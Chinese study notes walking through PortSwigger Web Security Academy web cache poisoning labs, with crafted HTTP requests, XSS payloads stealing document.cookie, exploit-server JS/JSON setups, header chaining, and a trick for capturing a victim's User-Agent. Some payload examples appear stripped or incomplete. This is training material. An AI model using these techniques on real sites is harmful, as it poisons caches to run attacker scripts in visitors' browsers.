Web缓存中毒（web cache poisoning）学习笔记
笔者burpsuite的在线安全学院的web cache poisoning学习笔记。限于本人水平，笔记质量不是很高，假如有看到的大佬轻喷，很多地方是Google翻译的。
首先推荐篇翻译的文章，方便理解
#先知社区上师傅翻译的：实战Web缓存中毒
https://xz.aliyun.com/t/2585#toc-21
#原文
https://portswigger.net/blog/practical-web-cache-poisoning
一个burp拓展：param-miner，可以辅助检测，win下的burp要改下字典路径，可以把对应kali下的字典的复制出来，kali下这个指向的字典位置是个链接，注意需要源文件
https://github.com/PortSwigger/param-miner
文章目录
- 使用Web缓存中毒进行XSS攻击
- 使用Web缓存中毒来利用对资源导入的不安全处理
-
-
- LAB Web cache poisoning with an unkeyed header
-
- 使用Web缓存中毒来利用Cookie处理漏洞
-
-
- LAB:Web cache poisoning with an unkeyed cookie
-
- 使用多个header利用Web缓存中毒漏洞
-
-
- LAB:Web cache poisoning with multiple headers
-
- 利用暴露太多信息的响应
-
- 缓存控制指令
- Vary header
-
- LAB:Targeted web cache poisoning using an unknown header
- 使用Web缓存中毒来利用基于DOM的漏洞
-
-
- LAB:Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
-
- 链接Web缓存中毒漏洞
-
-
- LAB:Combining web cache poisoning vulnerabilities
-
使用Web缓存中毒进行XSS攻击
可能利用的最简单的Web缓存中毒漏洞是在没有适当清理的情况下将未键入的输入反映在可缓存的响应中。
例如，考虑以下请求和响应：
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />
此处，X-Forwarded-Host标头的值用于动态生成Open Graph图像URL，然后将其反映在响应中。对于Web缓存中毒，至关重要的是，X-Forwarded-Host标题通常是不加密的。在此示例中，缓存可能容易受到包含简单XSS有效负载的响应的污染：
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
如果缓存了此响应，则将向该访问的所有用户/en?region=uk提供此XSS有效负载。此示例仅使警报显示在受害者的浏览器中，但是真正的攻击可能会窃取密码并劫持用户帐户。
使用Web缓存中毒来利用对资源导入的不安全处理
一些网站使用无密钥header动态生成用于导入资源的URL，例如外部托管的JavaScript文件。在这种情况下，如果攻击者将适当的header的值更改为他们控制的域，则他们可能会操纵生成的URL指向自己的恶意Js。
如果包含此恶意URL的响应被缓存，则攻击者的js将被导入并在其请求具有匹配的缓存密钥的任何用户的浏览器会话中执行。
LAB Web cache poisoning with an unkeyed header
- 在运行Burp时，加载网站的主页
- 在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。查找对GET主页的请求，并将其发送到Burp Repeater。
- 添加一个缓存无效化查询参数，例如
?cb=1234。原：GET / HTTP/1.1 改：GET /?cb=1234 HTTP/1.1，发现有返回添加无效参数后 - 添加X-Forwarded-Host具有任意主机名的header，例如
example.com，然后发送请求，这里的话，burp提供了个服务器，可以编辑。 - 请注意，X-Forwarded-Host标头已用于动态生成用于导入存储在的JavaScript文件的绝对URL
/resources/js/tracking.js。 - 重放请求，并观察到响应包含标头X-Cache: hit。这告诉我们响应来自cache。我在这里把exp server上的js payload设为
alert("1")，再用浏览器再次访问url，弹个1。
- 转到exp server并更改文件名以匹配的响应所使用的路径：
/resources/js/tracking.js - 在正文中，输入payload
alert(document.cookie)并存储。 - GET在Burp Repeater中 打开对主页的请求，然后删除缓存破坏器。
- 添加以下标头，记住输入自己的漏洞利用服务器ID：
X-Forwarded-Host: your-exploit-server-id.web-security-academy.net - 发送payload。继续放请求，直到您在响应和X-Cache: hit header中看到漏洞利用服务器的URL 。
- 要模拟受害者，请在浏览器中加载中毒的URL，并确保alert()已触发。请注意，您必须在缓存过期之前执行此测试。此实验中的缓存每30秒失效一次。
- 如果lab仍然无法解决，则受害者在缓存中毒时不会访问该页面。保持每隔几秒钟发送一次请求以重新缓存缓存，直到受害者受到影响并且实验室得到解决。
使用Web缓存中毒来利用Cookie处理漏洞
Cookies通常用于在响应中动态生成内容。一个常见的示例可能是cookie，它指示用户的首选语言，然后将其用于加载页面的相应版本：
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close
在此示例中，要求提供博客文章的波兰语版本。假设缓存键仅包含请求行和Host标头。这意味着有关使用哪种语言版本的信息仅包含在未键入的Cookie header中。如果对该请求的响应被缓存，那么所有尝试访问此博客文章的后续用户也将获得波兰语版本，无论他们实际选择哪种语言。
使用Web缓存中毒技术还可以利用缓存对Cookie的这种错误处理。但是实际上，与基于头的缓存中毒相比，此向量相对较少。当存在基于cookie的缓存中毒漏洞时，由于合法用户无意中毒了缓存，因此往往可以快速识别并解决它们。
LAB:Web cache poisoning with an unkeyed cookie
因为cache密钥中不包含cookie。用户大约每分钟访问一次主页。要解决此实验，请使用alert(1)在访客的浏览器中执行的响应来投毒cache
-
在运行Burp的情况下，加载网站的主页。
-
在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。请注意，您收到的第一个响应将设置cookie fehost=prod-cache-01。
-
重新加载主页，并观察到fehostcookie 中的值反映在响应中的双引号JavaScript对象中。
-
将此请求发送到Burp Repeater，然后添加一个缓存清除器查询参数。
-
将cookie的值更改为任意字符串，然后重新发送请求。确认此字符串反映在响应中。
-
将适当的XSS payload放入fehostcookie中，例如：
fehost=hello"-alert(1)-"hello -
重放请求，直到您在响应和X-Cache: hit header中看到payload为止。
-
将URL加载到浏览器中并确认alert()生效。
-
返回Burp Repeater，删除cache破坏器，然后重放请求以使cache中毒，直到受害者访问该站点并且实验室得到解决。
使用多个header利用Web缓存中毒漏洞
如上所述，某些网站容易受到简单的Web缓存中毒攻击。但是，其他攻击者则需要更复杂的攻击，并且仅在攻击者能够提出操纵多个非键输入的请求时才变得脆弱。
例如，假设一个网站要求使用HTTPS进行安全通信。为了强制执行此操作，如果收到使用其他协议的请求，则网站会动态生成一个使用HTTPS的自身重定向：
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http
HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random
就其本身而言，这种行为并不一定很容易受到攻击。但是，通过将此与我们先前了解的有关动态生成的URL中的漏洞的知识相结合，攻击者可能利用此行为来生成可缓存的响应，该响应将用户重定向到恶意URL。
LAB:Web cache poisoning with multiple headers
用户大约每分钟访问一次主页。要解决此实验，请使用alert(document.cookie)在访客的浏览器中执行的响应来对cache投毒。
提示：本练习同时支持X-Forwarded-Host和X-Forwarded-Scheme的header。
-
在运行Burp的情况下，加载网站的主页。
-
转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。查找对GETJavaScript文件的请求/resources/js/tracking.js，并将其发送到Burp Repeater。
-
添加一个缓存无效化查询参数和X-Forwarded-Host带有任意主机名的header，例如example.com。请注意，这似乎对响应没有任何影响。
-
删除X-Forwarded-Host header，然后添加X-Forwarded-Scheme header。请注意，如果您包含以外的任何除了HTTPS的其他值，则会收到302响应。该Location header显示你将被重定向到您请求的相同的URL，但使用https://。
-
将X-Forwarded-Host: example.com标头重新添加到请求中，但也要保留X-Forwarded-Scheme:
http。发送此请求，请注意Location302重定向的header现在指向https://example.com/。
-
转到漏洞利用服务器并更改文件名以匹配易受攻击的响应所使用的路径： /resources/js/tracking.js
-
在正文中，输入payload
alert(document.cookie)并存储漏洞利用程序。
返回到Burp Repeater中的请求X-Forwarded-Host并按如下所示设置标头，记住输入自己的漏洞利用服务器ID：X-Forwarded-Host: your-exploit-server-id.web-security-academy.net -
确保X-Forwarded-Scheme标头设置为HTTPS以外的其他值。
-
发送请求，直到您在响应和X-Cache: hit标头中看到漏洞利用服务器的URL 。
-
要检查响应是否正确缓存，请在Burp中右键单击请求，选择“复制URL”，然后将此URL加载到浏览器中。如果缓存成功中毒，您将看到包含有效负载的脚本
alert(document.cookie)。请注意，alert()实际上不会在此处执行。 -
返回到Burp Repeater，删除缓存破坏者，然后重新发送请求，直到再次破坏缓存为止。
-
要模拟受害者，请在浏览器中重新加载主页，并确保能够alert()触发。
-
继续重放请求以使缓存中毒，直到受害者访问该站点并且实验室解决为止。
利用暴露太多信息的响应
有时，网站会通过泄露太多有关其自身及其行为的信息，使自己更容易遭受Web缓存中毒的攻击。
缓存控制指令
构造Web缓存中毒攻击时的挑战之一是确保有害响应得到缓存。这可能涉及大量手动试验和错误，以研究缓存的行为。但是，有时响应会明确显示出攻击者成功破坏缓存所需的某些信息。
一个这样的例子是，当响应包含有关清除缓存的频率或当前缓存的响应的时间的信息时：
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
#明显这里的超时时间和现在cache的寿命已经给出
尽管这不会直接导致Web缓存中毒漏洞，但确实可以节省潜在的攻击者所需的一些手动工作量，因为他们确切地知道何时发送有效负载以确保将其缓存。
这些知识还可以使攻击变得更加细微。攻击者可以对单个恶意请求进行仔细计时，以毒害缓存，而不用用一个请求轰炸后端服务器直到遇到麻烦为止。
Vary header
Vary header经常使用 的基本方式也可以为攻击者提供帮助。该Vary header指定的应该被视为即使它们通常是无锁缓存键的一部分附加头的列表。例如，它通常用于指定User-Agent标头为密钥，这样，如果缓存了网站的移动版本，则不会错误地将其提供给非移动用户。
此信息还可用于构造针对特定用户子集的多步骤攻击。例如，如果攻击者知道User-Agent标头是高速缓存密钥的一部分，则可以通过首先识别目标受害者的用户代理来对攻击进行定制，从而仅影响具有该用户代理的用户。或者，他们可以确定最常使用哪个用户代理访问站点，并定制攻击以通过这种方式影响最大用户数。
LAB:Targeted web cache poisoning using an unknown header
用户大约每分钟访问一次主页。用户还可以查看您发布的任何评论。要解决此实验，您需要使用alert(document.cookie)在访客的浏览器中执行的响应来毒化缓存。但是，您还需要确保将响应提供给目标受害者所属的特定用户子集。用的工具文章开头说了
在运行Burp的情况下，加载网站的主页。
在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。查找对GET主页的请求。
在启用Param Miner扩展的情况下，右键单击请求，然后选择“Guess headers”。稍后，Param Miner将以X-Host header的报告形式报告存在秘密输入，target或者仪表盘界面都可见。
将GET请求发送到Burp Repeater，然后添加缓存无效化查询参数。
添加X-Host具有任意主机名的标头，例如example.com。请注意，此标头的值用于动态生成用于导入存储在的JavaScript文件的绝对URL /resources/js/tracking.js。
转到漏洞利用服务器并更改文件名以匹配易受攻击的响应使用的路径：/resources/js/tracking.js。
在正文中，输入有效负载alert(document.cookie)并存储漏洞利用程序。
返回到Burp Repeater中的请求X-Host并按如下所示设置标头，记住要添加自己的漏洞利用服务器ID：
X-Host: your-exploit-server-id.web-security-academy.net
发送请求，直到您在响应和X-Cache: hit标头中看到漏洞利用服务器的URL 。
要模拟受害者，请在浏览器中加载URL并确保能够alert()触发。
请注意，Vary header用于指定，它User-Agent是缓存键的一部分。要针对受害者，您需要找出他们的User-Agent。
在网站上，请注意，评论功能允许某些HTML标签。发表包含适当有效负载的注释，以使受害者的浏览器与您的漏洞利用服务器进行交互，例如：
转到博客页面，并仔细检查您的评论是否已成功发布。
转到漏洞利用服务器并单击按钮打开“访问日志”。每隔几秒钟刷新一次页面，直到看到其他用户的请求。这是受害者。User-Agent从日志中复制它们。
返回到Burp Repeater中的恶意请求，然后将受害者的信息粘贴User-Agent到相应的标头中。卸下缓存清除器。
继续发送请求，直到您在响应和X-Cache: hit标头中看到漏洞利用服务器的URL 。
重播该请求以使缓存中毒，直到受害者访问该站点并且实验室解决为止
使用Web缓存中毒来利用基于DOM的漏洞
如前所述，如果网站不安全地使用未加密的标头来导入文件，则攻击者可能会利用它来导入恶意文件。但是，这不仅适用于JavaScript文件。
许多网站使用JavaScript从后端获取和处理其他数据。如果脚本以不安全的方式处理来自服务器的数据，则可能会导致各种基于DOM的漏洞。
例如，攻击者可能会通过导入包含以下payload的JSON文件的响应来毒害cache：
{"someProperty" : "}
如果网站随后将该属性的值传递到支持动态代码执行的接收器，则有效负载将在受害者的浏览器会话的上下文中执行。
如果您使用Web缓存中毒使网站从服务器加载恶意JSON数据，则可能需要使用CORS授予网站访问JSON的权限：
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
{
"malicious json" : "malicious json"
}
LAB:Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
该实验室包含一个基于DOM的漏洞，可以将其用作Web缓存中毒攻击的一部分。用户大约每分钟访问一次主页。请注意，本实验使用的缓存具有更严格的标准来确定哪些响应是可缓存的，因此您将需要仔细研究缓存行为。要解决此问题，请使用alert(document.cookie)在访客的浏览器中执行的响应来毒害缓存。
-
在Burp运行的情况下，打开网站的主页。
-
在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。查找对GET主页的请求，并将其发送到Burp Repeater。
-
使用Param Miner识别X-Forwarded-Host是否支持该header，这里比较慢。
-
向请求中添加一个缓存清除器，以及X-Forwarded-Host带有任意主机名的标头，例如example.com。请注意，此header将覆盖data.host变量，该变量将传递到initGeoLocate()函数中。
-
研究其中的initGeoLocate()函数，网页请求
/resources/js/geolocate.js注意，由于该函数处理传入的JSON数据的方式，因此很容易受到DOM-XSS的攻击。
-
转到漏洞利用服务器并更改文件名以匹配易受攻击的响应使用的路径：
/resources/json/geolocate.json。 -
在文件head中，添加header
Access-Control-Allow-Origin: *以启用CORS -
在文件body中，添加一个与易受攻击的网站使用的对象匹配的恶意JSON对象。但是，用适当的XSSpayload替换该值，例如：
{
"country": "
"
}
-
存储payload。
-
返回Burp，找到对主页的请求，并将其发送给Burp Repeater。
-
在Burp Repeater中，添加以下标头，记住输入自己的漏洞利用服务器ID：
X-Forwarded-Host: your-exploit-server-id.web-security-academy.net -
发送请求，直到您在响应和X-Cache: hit标头中看到漏洞利用服务器的URL 。
-
如果这不起作用，请注意响应中包含Set-Cookie标题。包含此标头的响应不能在此站点上缓存。重新加载主页以生成新请求，该请求应已设置了会话cookie。
-
将此新请求发送到Burp Repeater，然后重复上述步骤，直到成功毒化cache。
-
要模拟受害者，请在浏览器中加载URL并确保能够alert()触发。
-
重播该请求以使缓存中毒，直到受害者访问该站点并且实验室解决为止，本人试了很多次才成功
链接Web缓存中毒漏洞
正如我们前面所看到的，有时攻击者只能通过使用多个标头制作请求来引发恶意响应。但是不同类型的攻击也是如此。Web缓存中毒有时需要攻击者将我们讨论的几种技术联系在一起。通过将不同的漏洞链接在一起，通常可以暴露最初无法利用的其他漏洞。
LAB:Combining web cache poisoning vulnerabilities
用户大约每分钟访问一次主页，并且其语言设置为英语。要解决此实验，请使用alert(document.cookie)在访客的浏览器中执行的响应来毒害缓存。
-
在运行Burp的情况下，加载网站的主页。
-
使用Param Miner识别支持X-Forwarded-Host和X-Original-URL header。
-
在Burp Repeater中，对X-Forwarded-Host header 进行实验，观察它可以用来导入任意JSON文件而不是translations.json包含UI文本翻译的文件。
-
请注意，由于该initTranslations()功能处理JSON文件中除英语以外所有其他语言的数据的方式，该网站易受DOM-XSS攻击。
-
转到漏洞利用服务器并编辑文件名，以匹配易受攻击的网站使用的路径
/resources/json/translations.json。 -
在head中，添加标题
Access-Control-Allow-Origin: *以启用CORS。 -
在body中，添加与真实翻译文件使用的结构匹配的恶意JSON。用适当的XSS payload替换其中一个转换的值，例如：注意：在此解决方案的其余部分中，我们将使用西班牙语来演示攻击。如果将payload注入另一种语言的翻译中，则还需要相应地修改示例。可以参考上面的json文件修改
{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "",
"Description:": "Descripción"
}
}
}
-
存储漏洞利用程序。
-
在Burp中，找到一个包含西班牙语cookie 的GET请求。
/?localized=1langlang=es -
将请求发送到打Repeat中继器。添加一个缓存清除器和以下标头，记住输入自己的漏洞利用服务器ID：
X-Forwarded-Host: your-exploit-server-id.web-security-academy.net -
发送响应并确认响应中反映了您的漏洞利用服务器。
-
要模拟受害者，请在浏览器中加载URL并确认alert()生效
-
您已成功使西班牙语页面的缓存中毒，但是目标用户的语言设置为英语。由于不可能将语言设置为英语来利用用户，因此您需要找到一种方法来强制更改他们的语言。
-
在Burp中，转到“代理”>“ HTTP历史记录”，并研究您生成的请求和响应。请注意，当您将页面上的语言更改为英语以外的其他任何语言时，都会触发重定向，例如
/setlang/es。使用lang=escookie 在服务器端设置用户选择的语言，并使用参数重新加载主页?localized=1。
-
GET将对主页 的请求发送到Burp Repeater，然后添加一个缓存破坏器。
-
请注意，X-Original-URL可以使用来更改请求的路径，因此可以显式设置
/setlang/es。但是，您将发现无法缓存此响应，因为它包含Set-Cookie标头。 -
请注意，主页有时会使用反斜杠作为文件夹分隔符。请注意，服务器使用重定向将它们标准化为正斜杠。因此，X-Original-URL: /setlang\es触发重定向到的302响应/setlang/es。请注意，此302响应是可缓存的，因此可用于强制其他用户使用西班牙语版本的主页。
-
您现在需要结合这两个漏洞。首先，
GET /?localized=1使用X-Forwarded-Hostheader对页面进行毒害，以从漏洞利用服务器导入您的恶意JSON文件。 -
现在，当缓存仍然处于中毒状态时，还可以使
GET /页面中毒，X-Original-URL: /setlang\es以强制所有用户使用西班牙语页面。 -
要模拟受害者，请在浏览器中加载英语页面，并确保您已重定向并alert()触发。
-
依次重放两个请求，以使缓存在两个页面上都中毒，直到受害者访问该站点并且实验室解决为止。
